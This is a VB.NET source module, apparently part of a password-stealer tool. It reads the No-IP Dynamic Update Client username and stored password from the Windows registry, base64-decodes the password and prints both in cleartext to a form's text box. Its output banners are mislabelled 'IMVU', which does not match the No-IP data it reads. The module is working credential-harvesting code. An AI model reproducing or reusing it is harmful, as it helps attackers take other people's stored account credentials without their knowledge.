Module No_IP
    Public Function base64Decode(ByVal data As String) As String
        Try
            Dim encoder As New System.Text.UTF8Encoding()
            Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder()
            Dim todecode_byte As Byte() = Convert.FromBase64String(Data)
            Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length)
            Dim decoded_char As Char() = New Char(charCount - 1) {}
            utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0)
            Dim result As String = New [String](decoded_char)
            Return result
        Catch e As Exception
        End Try
    End Function
    Function IpRecord() As String
        Try
            IpRecord = Nothing
            Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
            Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============IMVU==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Username: " & Username)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Password: " & base64Decode(Password))
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("=============================")
            Form1.ztext.AppendText(nl)
        Catch
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============IMVU==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("IMVU Not Installed!")
            Form1.ztext.AppendText(nl)
        End Try
    End Function
End Module